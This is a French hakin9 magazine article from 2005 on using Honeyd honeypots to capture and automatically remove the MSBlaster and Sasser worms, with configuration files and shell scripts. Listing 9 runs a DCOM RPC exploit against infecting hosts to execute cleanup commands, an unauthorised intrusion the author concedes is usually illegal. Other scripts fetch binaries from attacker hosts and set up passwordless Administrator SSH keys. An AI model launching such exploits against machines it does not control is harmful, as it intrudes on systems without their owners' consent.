MSBlaster lance les attaques DoS sur le site Web de Microsoft – http://www.windowsupdate.com un jour précis du mois, par contre Sasser redémarre le système d'ex-ploitation.

Construction d'un faux réseauLe piège que nous utiliserons pour capturer et supprimer les vers est un système à faible interaction (cf. l'Encadré Classifi cation des honey-pots), basé sur Linux et le program-me Honeyd (cf. l'Encadré Honeyd). Mais avant de passer à la cons-truction de notre propre honeypot, il faut prendre connaissance des possibilités de ce programme. En-visageons le réseau présenté sur la Figure 3 (pour le construire, il faut confi gurer Honeyd de la façon pré-sentée sur le Listing 2).

La compilation de Honeyd ne diffère pas des standards admis. Tout d'abord, il faut décompresser les archives contenant le code source :

$ tar zxf honeyd-0.8b.tar.gz

Ensuite, nous compilons et installons le programme (pour que la compila-tion réussisse, nous avons besoin des bibliothèques libevent, libdnet et libpcap) :

$ cd honeyd-0.8b

honeyd-0.8b$ ./confi gure

honeyd-0.8b$ make

honeyd-0.8b# make install

HoneydLe programme Honeyd, créé et développé par Niels Provos, sert à construire des systèmes à faible interaction autant très simples que très complexes. Son avantage principal est la possibilité d'émuler un réseau informatique entier, composé de diffé-rents systèmes d'exploitation virtuels qui sont capables de fournir des services fi ctifs voulus.

Le principe du fonctionnement du programme Honeyd est très simple : au moment où l'intrus essaie de se connecter à l'adresse IP qui est affectée au système émulé, Honeyd se fait passer pour ce système et commence la communication avec l'ordina-teur de l'intrus. Évidemment, l'environnement réseau sur lequel il est utilisé doit être confi guré de façon à ce que les paquets IP ayant les adresses cibles déterminées parviennent au système-piège. Nous pouvons le faire en confi gurant les chemins de traçage appropriés sur le routeur. Il est aussi possible d'appliquer la technique ARP Spoofi ng permettant de falsifi er les réponses aux requêtes ARP et de se faire passer pour un autre ordinateur, même inexistant.

Une autre caractéristique très importante du programme Honeyd est la possi-bilité de profi ler les ordinateurs virtuels conformément à la base de signatures du programme Nmap et confi gurer les services émulés de façon très souple. Honeyd, une fois que la connexion entre l'ordinateur de l'intrus et la machine virtuelle est éta-blie, peut transmettre la communication à un programme quelconque ou un script extérieur qui, à partir de ce moment, recevra et enverra les données au système de l'intrus. De plus, la connexion peut être transmise à un serveur réel fournissant un service déterminé, et même à l'ordinateur de l'attaquant (à partir de l'adresse source chargée des paquets IP provenant de ce dernier).

Confi guration du comportement des protocoles TCP, UDP et ICMP dans HoneydLe protocole TCP :• open – établir la connexion (comportement standard),• block – négliger le paquet, ne pas envoyer la réponse,• reset – répondre par le paquet RST,• tarpit – retarder la connexion (sert à ralentir la communication et peut occuper

les ressources de l'ordinateur de l'attaquant).

Le protocole UDP :• open – répondre,• block – ne pas répondre,• reset – répondre par le paquet ICMP Port unreachable (comportement stan-

dard).

Le protocole ICMP :• open – répondre par le paquet ICMP approprié,• block – négliger le paquet et ne pas répondre (comportement standard).

Page 54: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org52 hakin9 No 3/2005

Déf

ense

Les systèmes virtuels créés par le programme Honeyd sont les profi ls des ordinateurs. Ces profi ls possè-dent ses caractéristiques, comme type de système d'exploitation, ports ouverts ou comportement des services émulés. Dans notre exemple, il existe trois profi ls : linux, décrit dans les lignes de 1 à 6, freebsd entre les lignes 8 à 11, et windows, à partir de la ligne 13 jusqu'à 19. Dans les lignes 21, 22 et 23, les profi ls sont associés respectivement aux adresses 10.0.0.10, 10.0.0.11 et 10.0.0.12. En résultat, quand Honeyd reçoit un paquet dirigé à l'une de ces adresses, il utilisera le profi l asso-cié et répondra conformément à sa confi guration.

Chaque profi l possède les para-mètres de confi guration permettant de déterminer comment le système se comportera. Sur le Listing 2, vous pouvez observer que les lignes 2, 9 et 14 déterminent le type de système d'exploitation des ordinateurs virtuels par la défi nition du comportement de leur pile TCP/IP (conformément à la base de caractéristiques du pro-gramme Nmap). En effet, si l'intrus scanne le réseau 10.0.0.0 à l'aide de ce programme, il trouvera quatre machines : système honeypot, Linux 2.4 – 2.5, FreeBSD version 2.2.1 et Windows NT 4.0.

Ensuite, il est possible de dé-terminer quels ports TCP et UDP seront ouverts et quels services seront émulés. Les lignes 3 et 4 dé-fi nissent le comportement par défaut de Honeyd au moment où il reçoit un paquet TCP ou UDP adressé au système linux sur le port ayant un comportement indéfi ni (cf. l'Encadré

Confi guration du comportement des protocoles TCP, UDP et ICMP dans Honeyd). Dans notre exemple, nous avons choisi l'action reset. Cela signifi e que Honeyd, en réponse au paquet établissant la connexion TCP, enverra un paquet qui termine la communication (RST), par con-tre, dans le cas du protocole UDP, il enverra le paquet ICMP informant que le port est inaccessible. C'est le comportement typique des ports fermés sur lesquels aucun service n'écoute.

L'inscription dans la ligne 15 entraîne le système Windows à ne pas répondre aux paquets ICMP, y compris les requêtes ICMP Echo Request. La ligne 6 dans le profi l linux permet de se connecter au port TCP 25 qui paraît être un port ouvert. Pourtant, aucune communi-cation via ce port ne sera possible. L'inscription dans le profi l windows, la ligne 17 provoque un blocage du port TCP portant le numéro 25 et tous les paquets y étant destinés seront né-gligés. Ce comportement a souvent lieu quand le trafi c réseau est fi ltré par un pare-feu.

Listing 2. Le fi chier de confi guration confi g1 du programme Honeyd pour le réseau présenté sur la Figure 3

1: create linux

2: set linux personality "Linux Kernel 2.4.0 - 2.5.20"

3: set linux default tcp action reset

4: set linux default udp action reset

5: add linux tcp port 80 proxy www.google.com:80

6: add linux tcp port 25 open

7:

8: create freebsd

9: set freebsd personality "FreeBSD 2.2.1-STABLE"

10: add freebsd tcp port 80 § "sh /usr/local/share/honeyd/scripts/apache-web.sh"11: add freebsd tcp port 22 § "sh /usr/local/share/honeyd/scripts/test.sh $ipsrc $dport"12:

13: create windows

14: set windows personality "Microsoft Windows NT 4.0 Server SP5-SP6"

15: set windows default icmp action block

16: add windows tcp port 80 § "perl /usr/local/share/honeyd/scripts/iis/main.pl"17: add windows tcp port 25 block

18: add windows tcp port 23 proxy $ipsrc:23

19: set windows uptime 1638112

20:

21: bind 10.0.0.10 linux

22: bind 10.0.0.11 freebsd

23: bind 10.0.0.12 windows

Figure 3. L'exemple d'un réseau construit à l'aide du programme Honeyd

Page 55: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 53hakin9 No 3/2005

Honeypots – leurre contre les vers

Les lignes 10, 11 et 16 com-prennent la confi guration des ser-vices liés aux ports 22 et 80 des systèmes spécifi ques. Dans le cas du profi l freebsd, après l'établisse-ment de la connexion à ces ports, le programme Honeyd transmet la communication aux scripts du shell apache-web.sh (port 80) et test.sh (port 22) qui seront responsables de la reception, de l'enregistrement et de l'interprétation des données provenant de l'intrus et de l'envoi des données vers celui-ci. Le script test.sh, présenté à titre d'exemple dans le Listing 3, émule d'une fa-çon très simple le serveur SSH et enregistre dans le fi chier /usr/local/share/honeyd/logs/test.log toutes les informations reçues. Le script apache-web.sh est beaucoup plus développé et émule le serveur HTTP Apache. Par contre, dans le cas du profi l windows, le port TCP 80 sera géré par le script Perl appelé main.pl qui se comporte comme un serveur IIS 5.0. Tous les scripts (et plusieurs autres) sont disponibles sur le site du programme Honeyd.

Une fonction très intéressante offerte par Honeyd est la possibilité de rediriger les connexions. Elle a été appliquée aux lignes 5 et 18 dans le fi chier confi g1. La première permet de transférer les paquets envoyés sur le port TCP 80 de l'or-dinateur ayant le profi lé linux vers le système qui se trouve à l'adresse www.google.com – en résultat, l'in-trus se connectera au moteur de recherche. Par contre, grâce à la ligne 18, les paquets adressés au port TCP 23 de la machine virtuelle windows seront envoyés sur le port

23 de l'ordinateur d'où ils provien-nent. En résultat, l'intrus tentera d'établir une connexion avec son propre système.

Une autre fonction du program-me Honeyd très utile, exploitée dans cet exemple, est la possibilité de confi gurer la valeur du temps utilisable (uptime) du système virtuel, c'est-à-dire le temps de fonctionnement depuis le dernier lancement. La ligne 19 confi gure le temps du travail du profi lé windows à 1638112 secondes, ce qui donne environ 18 jours. Si le profi l ne con-tient pas de d'inscription avec le temps de fonctionnement, celui-ci

est choisi de façon aléatoire parmi 0 – 20 jours.

Quand le fi chier de confi guration et tous les scripts sont déjà prêts, nous lançons le programme Honeyd de la manière suivante :

# honeyd -d -u 0 -g 0 \

-f confi g1 10.0.0.10-10.0.0.12

Grâce au paramètre -d, le pro-gramme ne passe pas en mode tâche de fond et tous les journaux sont affi chés sur la sortie standard. Ainsi, dans la phase de tests nous pouvons observer ce qui se passe, quelles connexions sont établies avec nos machines virtuelles et s'il n'y a pas d'erreurs éventuelles. Évi-demment, quand le programme est déjà testé, il vaut mieux le lancer en mode de tâche de fond avec les pa-ramètres -l et -s (ils répondent de l'enregistrement des évènements) pour diriger les journaux aux fi -chiers appropriés (p. ex. dans le répertoire /usr/local/share/honeyd/logs/ ). Dans la phase de tests, nous pouvons aussi lancer Honeyd avec les droits d'administrateur (les

Listing 3. Le script test.sh enregistrant les actions sur le port 22 du honeypot

#!/bin/sh

DATE=`date`

echo "$DATE: Connection started from $1 port $2" \

>> /usr/local/share/honeyd/logs/test.log

echo SSH-1.5-2.40

while read linedo echo "User input: $line" >> /usr/local/share/honeyd/logs/test.log

echo "$line"

done

Figure 4. La localisation du honeypot dans un réseau

Page 56: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org54 hakin9 No 3/2005

Déf

ense

paramètres -u et -g) – cela permet-tra d'éviter les problèmes relatifs aux droits d'accès aux scripts et répertoires utilisés.

Maintenant, il faut faire en sorte que notre honeypot réponde par son adresse matérielle aux requêtes ARP, adressées aux ordinateurs portant les IPs 10.0.0.10, 10.0.0.11 et 10.0.0.12. Pour cela, nous pou-vons nous servir du programme arpd, écrit par l'auteur de Honeyd et disponible sur son site. Dans notre exemple, nous lançons arpd avec les paramètres suivants :

# arpd 10.0.0.10-10.0.0.12

Finalement, nous devons tester le honeypot, c'est-à-dire scanner et établir quelques connexions avec nos nouveaux systèmes virtuels. Peu importe si nous le faisons à par-tir d'un ordinateur derrière le routeur ou à l'intérieur de notre réseau.

L'exemple présenté n'exploite que quelques possibilités principales offertes par Honeyd qui, en fait, est beaucoup plus complexe. Il permet d'émuler des réseaux entiers (jus-qu'à 65 000 de stations !) utilisant des routeurs virtuels et de créer des systèmes dynamiques modifi ant la confi guration en fonction du fait qui et quand s'y connecte. Pourtant, pour lutter contre les vers de réseau et les virus, ces fonctions de base sont suffi santes.

Vers dans le mielSi nous voulons que notre honeypot fonctionne correctement, il ne faut pas oublier de le placer dans le lieu approprié du réseau et de défi nir les méthodes d'accès. Prenons comme exemple le réseau présenté sur la Figure 4. Bien sûr, le meilleur envi-ronnement pour capturer les vers in-formatiques est un segment séparé du réseau, mais pour les besoins de cet article, nous nous servirons d'un réseau entier.

C'est une confi guration très sim-ple et très souvent utilisée. Elle se compose de deux sous-réseaux : la zone démilitarisée qui embrasse les serveurs de courrier et de Web

Listing 4. Le contenu du fi chier confi g2

1: create default

2: set default personality "Microsoft Windows 2000 Professional"

3: add default tcp port 135 open

4: add default tcp port 445 open

5: set default default tcp action reset

6: set default default udp action reset

Listing 5. Le contenu du fi chier confi g3

1: create default

2: set default personality "Microsoft Windows 2000 Professional"

3: add default tcp port 135 open

4: add default tcp port 445 open

5: add default tcp port 4444 § "/bin/sh scripts/MSBlaster_Catcher.sh $ipsrc $ipdst"

6: add default tcp port 9996 § "/bin/sh scripts/Sasser_Catcher.sh $ipsrc $ipdst"

7: set default default tcp action reset

8: set default default udp action reset

Listing 6. Le script MSBlaster_Catcher.sh

#!/bin/sh

DATE=`date +%s`

mkdir /worms/MSBlaster/$1-$2-$DATE

cd /worms/MSBlaster/$1-$2-$DATE

tftp $1 <<EOF

get msblast.exe

quit

EOF

Listing 7. Le script Sasser_Catcher.sh

#!/bin/sh

DATE=`date +%s`

mkdir /worms/Sasser/$1-$2-$DATE

cd /worms/Sasser/$1-$2-$DATE

while read LINEdo LINE=`echo "$LINE" | grep "get"`

if [ "$LINE" ]

then

FILENAME=`echo "$LINE" | cut -f3 -d" " | cut -f1 -d">"`

ncftp -u anonymous -p user -P 5554 $1 <<EOF

bin

get $FILENAME

bye

EOF

break

fi

done

Page 57: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 55hakin9 No 3/2005

Honeypots – leurre contre les vers

et le réseau interne contenant les stations de travail utilisées par les employés de l'entreprise. Les deux réseaux sont connectés à Internet à l'aide d'un routeur, par contre les stations de travail sont protégées par un pare-feu. Pour faciliter notre tâche, admettons que l'entreprise ait obtenu la classe C des adresses IP – de 62.x.x.0 à 62.x.x.254.

Comme vous pouvez voir sur la Figure 4, le honeypot a été ins-tallé sur le sous-réseau extérieur et a obtenu l'adresse 62.x.x.11. Les adresses de 62.x.x.1 à 62.x.x.11 sont affectées aux machines réelles, par contre les autres sont utilisées par le programme Honeyd. Grâce à cela, le réseau contient jusqu'à 243 machi-nes virtuelles qui servent de leurre aux vers – cela permet d'augmenter d'une façon importante la probabi-lité que le ver s'attaquera au piège et pas à un serveur de service ou à une station de travail.

Pour que le honeypot puisse nous protéger effi cacement contre les vers de réseau, il faut, lors de sa confi guration et installation prendre en compte toutes les étapes de son fonctionnement. Commençons par obtenir le code d'un ver.

Phase d'infectionEn phase d'infection, nous devons tromper le ver de façon à ce qu'il croit qu'il a à faire à un système vul-nérable et lui permettre d'effectuer l'attaque. Grâce à cela, nous per-mettons au programme malicieux de passer à la phase suivante, c'est-à-dire au processus de pro-pagation, et en même temps, nous détecterons l'attaque et la source de provenance. Vu que nous nous intéressons aux vers MSBlaster et Sasser, nous devons donc ému-ler les systèmes Windows 2000 ou XP qui donnent accès aux servi-ces vulnérables. Pour cela, nous pouvons exploiter la confi guration présentée dans le Listing 4.

En résultat, le programme Ho-neyd créera un profi l de l'ordinateur virtuel ayant les caractéristiques du système d'exploitation Microsoft Win-dows 2000 Professional, qui attendra

Installation et confi guration du serveur SSH dans le système WindowsL'installation du serveur OpenSSH dans les systèmes Windows 2000 et XP est assez facile. Pour ce faire, il faut effectuer les actions suivantes :

• Ouvrez une session locale à partir du compte Administrator et lancez le programme d'installation.

• Acceptez les termes de la licence, sélectionnez les composants que vous voulez utiliser (dans notre cas Shared Tools et Server sont suffi sants) et le répertoire cible (vous pouvez laisser celui par défaut C:\Program Files\OpenSSH).

• Lancez le shell et accédez au répertoire C:\Program Files\OpenSSH\bin.• Créez le fi chier de droits pour les groupes d'utilisateurs dans etc\group à l'aide de

la commande mkgroup -l >> ..\etc\group (pour les groupes locaux) et, éven-tuellement mkgroup -d >> ..\etc\group (pour les groupes de domaine).

• Ajoutez au fi chier etc\passwd les utilisateurs qui pourront ouvrir les sessions dans le système via le serveur SSH. La syntaxe de la commande appropriée est la suivante : mkpasswd -l|-d [-u <username>]. Quant à nous, nous voulons ajouter l'utilisateur local Administrator, tapons donc la commande mkpasswd -l -u Admi-nistrator >> ..\etc\passwd.

• Lancez le serveur à l'aide de la commande net start opensshd et en vous con-nectant à celui-ci à partir d'un autre ordinateur du réseau (le mieux, à partir de votre honeypot), vérifi ez s'il fonctionne correctement.

• Confi gurez le serveur de façon à ce qu'il authentifi e l'utilisateur Administrator au moyen des clés cryptographiques, et pas à l'aide du mot de passe.

• Lancez le shell et accédez au répertoire C:\Program Files\OpenSSH\bin,• Générez une paire de clés cryptographiques par le biais de la commande ssh-

keygen -t dsa. Quand il vous est demandé d'entrer son emplacement, laissez le chemin par défaut /home/Administrator/.ssh/id_dsa. Le champ du mot de passe doit rester vide. En résultat, dans le répertoire C:\Documents and Settings\Administrator\.ssh, les fi chiers id_dsa (clé privée) et id_dsa.pub (clé publique) sont créés.

• Ajoutez la clé publique au fi chier avec les clés confi rmées : tout en étant dans le répertoire C:\Documents and Settings\Administrator\.ssh exécutez la commande copy /b id _ dsa.pub authorized _ keys.

• Transférez le fi chier avec la clé privée du serveur au honeypot et mettez-la dans le répertoire .ssh de l'utilisateur, avec les droits d'accès avec lesquels vous lancez le programme Honeyd. Dans notre cas, c'est l'utilisateur root et le répertoire /root/.ssh. Il faut encore affecter au fi chier les droits appropriés : chmod 400 id _ dsa.

• Vérifi ez la confi guration en vous connectant au serveur : ssh -l Administrator server.

• En cas de problèmes ou s'il vous est encore demandé d'entrer le mot de passe, il faut vérifi er la confi guration du serveur SSH (le fi chier C:\Program Files\OpenSSH\etc\sshd_confi g) et, en cas de besoin, affecter les valeurs suivantes aux paramètres mentionnés : StrictModes no, PubkeyAuthentication yes, AuthorizedKeysFile .ssh/authorized _ keys. Si les problèmes persistent, vous devez vous référer à la documentation fournie avec le programme.

Listing 8. Le fi chier de confi guration confi g4

1: create default

2: set default personality "Microsoft Windows 2000 Professional"

3: add default tcp port 135 open

4: add default tcp port 445 open

5: add default tcp port 4444 § "/bin/sh scripts/MSBlaster_Cleaner.sh $ipsrc $ipdst"

6: add default tcp port 9996 § "/bin/sh scripts/Sasser_Cleaner.sh $ipsrc $ipdst"7: set default default tcp action reset

8: set default default udp action reset

Page 58: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org56 hakin9 No 3/2005

Déf

ense

les connexions TCP sur les ports destinés aux services DCOM RPC et LSASS. Le profi l porte le nom de-fault. C'est un nom spécial, imposant l'utilisation de ce profi l pour toutes les adresses IP auxquelles aucun autre profi l n'a été affecté. Dans ce cas, ce sera toute la plage d'adresses gérées par Honeyd. Les programmes Honeyd et arpd sont démarrés à l'aide des commandes suivantes :

# honeyd -d -u 0 -g 0 \

-f confi g2 62.x.x.12-62.x.x.254

# arpd -d 62.x.x.12-62.x.x.254

Phase de propagationPour que le ver passe à l'étape de propagation, il faut simuler la conta-mination réussie. Dans le cas de MS-Blaster et Sasser c'est très simple et cela consiste à permettre aux vers d'établir une connexion aux shell liés aux ports TCP 4444 et 9996 sur l'ordinateur attaqué. Il faut donc dé-velopper le fi cher de confi guration du programme Honeyd du Listing 4 de façon présentée dans le Listing 5.

Deux nouvelles lignes, portant les numéros 5 et 6, ont été créées. Dans les systèmes virtuels, elles lient aux 4444 et 9996 les scripts appelés MSBlaster_Catcher.sh et Sasser_Catcher.sh. Ces scripts

sont démarrés avec deux paramè-tres $ipsrc et $ipdst qui signifi ent les adresses IP respectivement de l'ordinateur de l'attaquant et de la victime, transférées aux scripts par le programme Honeyd. La tâche de ces scripts consiste à simuler le pro-cessus de propagation et à charger à partir de l'ordinateur de l'intrus le code du ver. Leur contenu est pré-senté dans les Listings 6 et 7.

Le script MSBlaster_Catcher.sh crée (la ligne 4) dans le répertoire /worms/MSBlaster un sous-réper-toire portant le nom composé des adresses IP de l'ordinateur atta-quant et de l'ordinateur-victime

(qu'il obtient à partir du programme Honeyd sous forme d'arguments de la ligne de commandes) et de la date actuelle présentée au format défi -nissant le nombre de secondes qui se sont écoulées depuis le 1 janvier 1970. Ensuite, il passe à ce réper-toire (ligne 5) et par l'intermédiaire du client du service TFTP se con-necte à l'intrus (ligne 7). Les lignes 8 et 9 contiennent les commandes transférées au programme tftp. Les deux premières sont chargées par le fi chier msblast.exe, par contre les deux dernières terminent la session.

Le script Sasser_Catcher.sh fonctionne de la même façon, mais vu la spécifi cité du ver Sasser, c’est plus compliqué. Le nom du fi chier du programme envoyé se compose de deux parties et se présente ainsi : <numéro>_up.exe, où le champ <numéro> est une valeur numéri-que aléatoire. Alors, pour charger le fi chier du programme à partir du sys-tème de l'intrus (les lignes 15 à 19), le script doit d'abord connaître son nom complet en lisant et analysant les commandes données par Sasser (les lignes 7 à 13).

Comme il est facile à remarquer, les scripts ci-dessus ont été créés à partir des informations sur la pro-pagation des vers (cf. le Listing 1). Le programme Honeyd les exécutera au moment où les connexions aux ports 4444 ou 9996 seront établies. À la suite de leur actions – dans le cas où la connexion est établie par le ver MSBlaster ou Sasser – on obtient les

Listing 9. Le script MSBlaster_Cleaner.sh

#!/bin/sh

./dcom_exploit -d $1 -t 1 -l 4445 << EOF

taskkill /f /im msblast.exe /t

del /f %SystemRoot%\System32\msblast.exe

echo “Windows Registry Editor Version 5.00" > c: \cleaner.reg

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] \

>> c:\cleaner.reg

echo "windows auto update" = "REM msblast.exe" >> c: \cleaner.reg

regedit /s c:\cleaner.reg

del /f c:\cleaner.reg

shutdown -r -f -t 0

exit

EOF

date=`date`

echo "$date: L'ordinateur $1 a été nettoyé du ver MSBlaster" \

>> /worms/cleanup

Listing 10. Le script Sasser_Cleaner.sh

#!/bin/sh

ssh -l Administrator $1 << EOF

tftp -i 62.x.x.11 get f-sasser.exe C:\f-sasser.exe

C:\f-sasser.exe

attrib -R C:\f-sasser.exe

del C:\f-sasser.exe

exit

EOF

date=`date`

echo "$date: L'ordinateur $1 a été nettoyé du ver Sasser" \

>> /worms/cleanup

Page 59: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 57hakin9 No 3/2005

Honeypots – leurre contre les vers

fi chiers binaires contenant leur code exécutable. Ces fi chiers peuvent être analysés et exploités dans la créa-tion des vaccins pour les program-mes anti-virus et les modèles pour les systèmes IDS. Ils peuvent être aussi lancés dans un environnement séparé, sous contrôle, pour mieux connaître leur fonctionnement.

Parasites inconnusNous savons déjà capturer les vers connus – nous savons comment ils se propagent et quelles vulnérabilités ils exploitent. Mais que faire en cas de nouveaux vers, pas encore connus ? Est-il possible de les capturer à l'aide des honeypots d'une façon similaire à celle présentée ci-dessus ?

Oui, c'est possible. Mais c'est beaucoup plus fastidieux parce qu'il faut prendre connaissance du mode de fonctionnement du ver donné (ce qui implique la nécessité de surveiller constamment les événe-ments qui ont lieu sur le honeypot). Tout d'abord, nous devons préparer les pièges appropriés qui simuleront le fonctionnement du plus grand nombre d'applications et enregistre-ront toutes les données qui lui sont envoyées. Pour cela, nous pouvons nous servir d'un script similaire à ce-lui présenté dans le Listing 3.

Une fois le honeypot construit et démarré, il faut surveiller régu-lièrement les informations collec-tées pour pouvoir réagir de façon appropriée. Par exemple, si nous remarquons que l'un des ports TCP reçoit des chaînes de caractères res-semblant à une tentative de débor-dement du tampon dans l'application

qui travaille par défaut sur ce port, et ensuite, cette adresse IP essaie de se connecter à un port élevé pas standard, cela peut signaler une ten-tative de connexion au shell lancé par un exploit. Il faudra donc lier à ce port non standard un script d'en-registrement et analyser les données qui y seront envoyées. C'est de cela dont dépendent toutes nos démar-ches futures.

Réponse à l'attaqueDans certaines situations, par exem-ple lorsque nous administrons un grand réseau composé de plusieurs stations de travail tournant sous le contrôle des systèmes Windows 2000/XP, il est préférable de cons-truire un honeypot qui, après la dé-tection d'un programme malicieux, pourra le supprimer automatique-ment. Évidemment, les mises à jour régulières des bases de données de nos programmes anti-virus et le respect des règles de cyberhygiène sont aujourd'hui la meilleure façon de se protéger contre les vers et virus. Mais peut-être les vers qui seront créés dans le futur seront si avancés que l'élaboration de leur modèle uni-versel sera très diffi cile et fastidieux, voire impossible. Même aujourd'hui, depuis l'apparition du parasite jus-qu'à la création du vaccin approprié, cela prend encore du temps.

En cas d’attaque par MSBlaster, Sasser et plusieurs autres vers, il est assez facile de construire un honeypot qui sera capable de les supprimer automatiquement. Cela est dû au fait que la suppression du ver est réduite à exécuter quelques

commandes dans le système à partir duquel l'attaque est effectuée ou à télécharger et lancer le programme anti-virus. Dans le cas des ordina-teurs que nous administrons (nous avons les droits d'administration), il est préférable d'utiliser pour cela des programmes pour le travail dis-tant – ici, c'est l'application SSH.

Paradoxalement, nous pouvons aussi effectuer le nettoyage auto-matique dans les systèmes dans lesquels nous n'avons pas les droits d'administration : en exploitant la même vulnérabilité grâce à laquelle le ver a accédé à l'ordinateur. Bien sûr, ce n'est pas toujours facile parce qu'il faut posséder le programme ap-proprié (exploit) qui permettra d'utili-ser la faille. D'habitude, cela ne pose pas de problèmes – très souvent la description de l'erreur est généra-lement connue. Même si nous ne sommes pas capables de concevoir l'exploit nous-mêmes, il est probable qu'il sera accessible sur un site ou une groupe de discussion consacrés à la sécurité informatique. Néan-moins, il faut rester prudent parce que ces types d'actions ne sont rien d'autre que une intrusion non autori-sée dans un ordinateur. En dépit de notre bonne volonté, ces démarches sont moralement douteuses, et dans la plupart des cas, illégales.

Nous allons montrer en pratique les deux méthodes. Le honeypot reconfi guré supprimera le ver MS-Blaster en accédant à l'ordinateur infecté via la faille dans le service DCOM RPC, par contre les systè-mes contaminés par Sasser seront nettoyés à l'aide du programme Sas-ser Removal Tool, créé par la société F-Secure.

Au-début, nous devons élargir la confi guration de notre réseau de la Figure 4. Les serveurs et les stations de travail seront dotés du service SSH qui authentifi e les utilisateurs à l'aide de clés cryptographiques (ce processus est présenté dans l'En-cadré Installation et confi guration du serveur SSH dans le système Windows). De plus, nous lançons sur le honeypot le service TFTP qui permet de télécharger le programme

Sur le réseau :• http://www.honeyd.org – le site du programme Honeyd,• http://sshwindows.sourceforge.net – le site du port de l'application OpenSSH pour

les systèmes Windows,• http://freessh.org – la liste des serveurs et clients SSH pour différents systèmes

d'exploitation,• http://downloads.securityfocus.com/vulnerabilities/exploits/oc192-dcom.c – l'ex-

ploit utilisant la vulnérabilité dans RPC DCOM,• http://www.f-secure.com/v-descs/sasser.shtml – Sasser Removal Tool,• http://www.sysinternals.com/ntw2k/freeware/pstools.shtml – le kit d'outils gratuits

pour les systèmes Windows NT et 2000.

Page 60: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org58 hakin9 No 3/2005

Déf

ense

Sasser Removal Tool sous forme du fi chier f-sasser.exe. Il faut aussi modifi er le fi chier de confi guration du programme Honeyd de la façon présentée dans le Listing 8.

Comme vous voyez, les scripts responsables de l'interception du code des vers ont été remplacés respectivement par les scripts MSBlaster_Cleaner.sh et Sasser_Cleaner.sh. Alors, si l'un des ordi-nateurs-leurres virtuels est attaqué par le ver, les opérations contenues dans ces scripts seront exécutées. Le premier script, présenté dans le Listing 9, se sert de l'exploit utilisant la vulnérabilité du service DCOM RPC et permettant d'exécuter les commandes quelconques dans le système attaqué. Contrairement à MSBlaster, ces commandes n'ont pas de caractère destructif, mais ont pour but d'éliminer le ver.

Sous cette forme, vu que le script utilise les commandes taskkill et shutdown (qui ne sont pas disponi-bles dans Windows 2000), il permet seulement d'éliminer les vers des systèmes Windows XP. Pourtant, il n'est pas trop diffi cile de modifi er le script de façon à ce qu'il utilise des commandes similaires disponibles dans le kit Windows 2000 Resource Kit ou PsTools.

À la ligne 3 du script MSBlas-ter_Cleaner.sh, un exploit est lancé. Cet exploit, conformément au para-mètre -d $1, attaque l'ordinateur ayant l'adresse IP transférée du programme Honeyd par l'intermédiaire de la varia-ble $ipsrc et affi chée dans le script comme variable $1. Le paramètre -t 1 détermine que le système d'exploi-tation installé sur l'ordinateur est Win-dows XP, par contre -l 4445 dit que le shell attendant la commande de la part de l'intrus sera lancée sur le port TCP portant le numéro 4445.

Toutes les commandes exé-cutées sur la machine attaquée (et dans ce cas nettoyée) se trouvent entre les lignes 4 à 17. Conformé-ment à ces inscriptions, en premier lieu, le processus du ver MSBlaster (ligne 5) est terminé et son fi chier exécutable supprimé (ligne 7). En-suite (les lignes 9 à 11), le script

préparera le fi chier cleaner.reg con-tenant les commandes pour l'Éditeur du registre du système Windows, qui supprimera du registre les inscrip-tions lançant le ver pendant le dé-marrage de l'ordinateur. Aux lignes 12 et 13, ce fi chier sera supprimé. Les lignes 14 à 16 peuvent contenir les commandes supplémentaires – par exemple celles informant l'utili-sateur sur la détection et l'élimination du ver ou, comme dans la ligne 15, redémarrant le système. Grâce aux commandes comprises entre les lignes 20 et 21, après chaque sup-pression du ver, le script ajoutera au fi chier /worms/cleanup une ins-cription avec la date d'opération et l'adresse IP de l'ordinateur nettoyé.

Le script supprimant le ver Sas-ser, présenté dans le Listing 10,fonctionne d'une façon un peu dif-férente : pour se connecter au shell du système Windows et exécuter les opérations qui éliminent Sasser, il utilise le programme SSH. Le nettoyage du système est réalisé à l'aide du programme f-sasser.exe chargé à partir du honeypot.

Le script Sasser_Cleaner.sh se connecte à l'ordinateur infecté con-formément à la commande contenue dans la ligne 3, et ensuite, exécute les commandes des lignes 5 jusqu'à 9. À la fi n, il enregistre dans le fi chier /worms/cleanup la date d'événement et l'adresse de l'ordinateur nettoyé.

Est-ce sûr ?Bien que la méthode d'élimination des vers de réseau présentée soit très effi cace, il faut la considérer plu-tôt comme curiosité et l'utiliser avec prudence. Il ne faut pas oublier les trois principes essentiels.

Premièrement, il faut rendre im-possible le nettoyage des ordinateurs qui ne sont pas sous notre protection. Pour ce faire, nous pouvons limiter la sortie via honeypot de notre réseau à l'aide d'un pare-feu ou modifi er les scripts du programme Honeyd de fa-çon à ce qu'il entreprenne les actions uniquement envers les ordinateurs de la liste que nous avons créée.

Deuxièmement, la confi gura-tion du service SSH telle que nous

l’avons présentée est assez dan-gereuse et permettra à l'intrus qui s'introduira dans le système-piège d'accéder à tous les ordinateurs de notre réseau.

